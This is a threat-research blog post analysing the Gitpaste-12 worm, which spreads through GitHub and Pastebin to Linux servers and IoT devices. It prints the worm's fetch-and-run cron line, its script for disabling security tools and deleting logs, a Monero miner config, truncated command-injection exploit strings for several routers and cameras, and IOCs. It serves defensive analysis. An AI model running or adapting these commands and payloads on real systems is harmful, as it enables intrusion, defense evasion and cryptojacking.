


Gitpaste-12: a new worming botnet with reverse shell capability spreading via GitHub and Pastebin

 blogs.juniper.net/en-us/threat-research/gitpaste-12

November 5, 2020

Gitpaste-12 is a new worm recently discovered by Juniper Threat Labs, which uses GitHub and Pastebin for housing component code and has at least 12 different attack modules available.



There is evidence of test code for possible future modules, indicating ongoing development for this malware. For now, however, targets are Linux based x86 servers, as well as Linux ARM and MIPS based IoT devices.


This malware has been dubbed Gitpaste-12 because of the usage of GitHub, Pastebin and 12 ways to compromise the system. The first GitPaste-12 first attacks were detected by Juniper Threat Labs on October 15, 2020. We've reported both the Pastebin URL and the git repo in question and the git repo was closed on October 30, 2020. This should stop the proliferation of this botnet.

The GitHub repository used at the time of discovery was as follows:

[https://github\[.\]com/cnmnmsl-001/-](https://github[.]com/cnmnmsl-001/)

First commit Thu Jul 9 21:07:06 2020

Last commit Oct 27, 2020



Anatomy of Gitpaste-12

The first phase of the attack is the initial system compromise (note the details of compromises used by this worm will be discussed later in this piece). This worm has 12 known attack modules and more under development. The worm will attempt to use known exploits to compromise systems and may also attempt to brute force passwords.

Immediately after compromising a system, the malware sets up a cron job it downloads from Pastebin, which in turn calls the same script and executes it again each minute. This is presumably one mechanism by which updates to the cron jobs can be pushed to the botnet.

The main shell script uploaded during the attack to the victim machine starts to download and execute other components of Gitpaste-12. First, it downloads and sets up cron job, which periodically downloads and executes script from Pastebin:

```

https://pastebin.com/raw/Tg5FQHhf
*/1 * * * * busybox wget -q https://pastebin.com/raw/Tg5FQHhf -O ./...;crontab ./...;history -c;history -w;rm -rf /var/log

```

Next, it downloads from GitHub (<https://raw.githubusercontent.com/cnmmmsl-001/-/master/shadu1>) and executes it.

The malware begins by preparing the environment. This means stripping the system of its defenses, including firewall rules, selinux, apparmor, as well as common attack prevention and monitoring software.

The shadu1 script contains comments in the Chinese language and has multiple commands available to attackers to disable different security capabilities, as discussed above. The following example has some commands that disable cloud security agents, which clearly indicates the threat actor intends to target public cloud computing infrastructure provided by Alibaba Cloud and Tencent.

Examples of these commands include:

```
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
```

← → ↻ 🏠 🔒 <https://github.com/cnmnmsl-001/-/blob/master/shadu1>

535 lines (535 sloc) | 26.6 KB

```
1  ulimit -n 65535
2  #删除系统日志
3  rm -rf /var/log/syslog
4  #关闭 /tmp /var/tmp 目录不可更改属性
5  chattr -iua /tmp/
6  chattr -iua /var/tmp/
7  #关闭防火墙 UFW, 全称 Uncomplicated Firewall, 是通过 iptables 实现的防火墙工具
8  ufw disable
9  #清空iptables
10 iptables -F
11 #?
12 echo "nope" >/tmp/log_rot
13 #禁用watchdog
14 sudo sysctl kernel.nmi_watchdog=0
15 echo '0' >/proc/sys/kernel/nmi_watchdog
16 echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
17 #删除用户
18 userdel akay
19 userdel vfinder
20 #修改 /root/.ssh/ /root/.ssh/authorized_keys
21 chattr -iae /root/.ssh/
22 chattr -iae /root/.ssh/authorized_keys
23 #s删除/tmp/目录下的挖矿相关文件
24 rm -rf /tmp/addres*
25 rm -rf /tmp/walle*
26 rm -rf /tmp/keys
27 #卸载阿里云安骑士文件
28 if ps aux | grep -i '[a]liyun'; then
29 curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
30 curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
31 pkill aliyun-service
32 rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
33 rm -rf /usr/local/aegis*
34 systemctl stop aliyun.service
35 systemctl disable aliyun.service
36 service bcm-agent stop
37 yum remove bcm-agent -y
38 apt-get remove bcm-agent -y
39 #卸载云警
40 elif ps aux | grep -i '[y]unjing'; then
41 /usr/local/qcloud/stargate/admin/uninstall.sh
42 /usr/local/qcloud/YunJing/uninst.sh
43 /usr/local/qcloud/monitor/barad/admin/uninstall.sh
44 fi
45 #根据IP和端口 kill掉相关进程
```

Another capability is demonstrated in the ability to run miner for monero cryptocurrency with the following config:

```
{ "background": true, "log-file": null, "access-log-file": null, "retries": 50, "retry-pause": 5, "donate-level": 2, "coin": "xmr", "custom-diff": 0, "syslog": false, "verbose": false, "colors": true, "workers": true, "pools": [ { "url": "donate.v2.xmrig.com:5555", "user": "41qALJpqLhUNCHZTMSMQyf4LQotae9MZnb4u53JzqvHEWyc2i8PEFUCZ4TGL9AGU34ihPU8QGbRzc4FB2nHMsVeMHaYkxus", "pass": "x" }, "bind": [ "0.0.0.0:12388" ], "api": { "port": 0, "access-token": null, "worker-id": null } }
```



```

#dreambox
$get "http://$1/webadmin/script?command=|echo \"$cmdb64\"|base64

#hisilicon video encoder
curl -sF "upgrade=;filename=\"logo;$cmdb64|base64-d|sh;.png\""" h

#apache struts 2
$get "http://$1?redirect:\${%23a%3d(new%20java.lang.ProcessBuild
3c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23contex
https://$1?redirect:\${%23a%3d(new%20java.lang.ProcessBuilder(new
3e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(

#Tenda Ac15 Ac1900
$get --header="X-Requested-With:XMLHttpRequest" --header="Cookie
setUsbUnload &

#Miniigd Upnp Soap:52869
$get --header="SOAPAction:urn:schemas-upnp-org:service:WANIPConn
oap.org/soap/envelope/" s:encodingStyle=\"http://schemas.xmlsoa
ternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>30006<
ion>0</NewLeaseDuration><u:AddPortMapping></s:Body></s:Envelope>

#dlink dir-859 ssd upnp
echo -en "M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250: 1900\r\nS
echo -en "M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250: 1900\r\nS

#ASUS DSL-N12E_C1 1.1.2.3_345
$get "http://$1/Main_Analysis_Content.asp?current_page=Main_Anal
ag=1&preferred_lang=EN&firmver=1.1.2.3_345-g987b580&cmdMethod=pi
echo "$cmd"|busybox nc $1 1337 &

#netlinkGpon
$get --post-data="target_addr=;$cmd /&waninf=1_INTERNET_R_VID_15

#netlinkXpon
$get --post-data="target_addr=1.1.1.1+%7C+$cmd&waninf=1_INTERNET

#avtech ipcam
$get --post-data="action=cgi_query&ip=bing.com&port=80&queryb64s

#monExpress
$get --header="Authorization:Basic YWRtaW46c6Fzcw==" --post-data

#hg532
$get --post-data="<?xml version=\"1.0\" ?>\n <s:Envelope xmlns
service:WANPPPCConnection:1\">\n <NewStatusURL>\${$cmd}</NewSt

```

Conclusion

No malware is good to have, but worms are particularly annoying. Their ability to spread in an automated fashion can lead to lateral spread within an organization or to your hosts attempting to infect other networks across the internet, resulting in poor reputation for your organization.

Juniper Connected Security customers using SRX IDP and Juniper ATP Cloud are protected against Gitpaste-12.

IOCs

Some compromised systems have TCP ports 30004 and 30005 open for shell commands.

Miner: e67f78c479857ed8c562e576dcc9a8471c5f1ab4c00bb557b1b9c2d9284b8af9

hide.so: ed4868ba445469abfa3cfc6c70e8fdd36a4345c21a3f451c7b65d6041fb8492b

Miner config: bd5e9fd8215f80ca49c142383ba7dbf7e24aaf895ae25af96bdab89c0bdcc3f1

Shell script: 5d1705f02cde12c27b85a0104cd76a39994733a75fa6e1e5b014565ad63e7bc3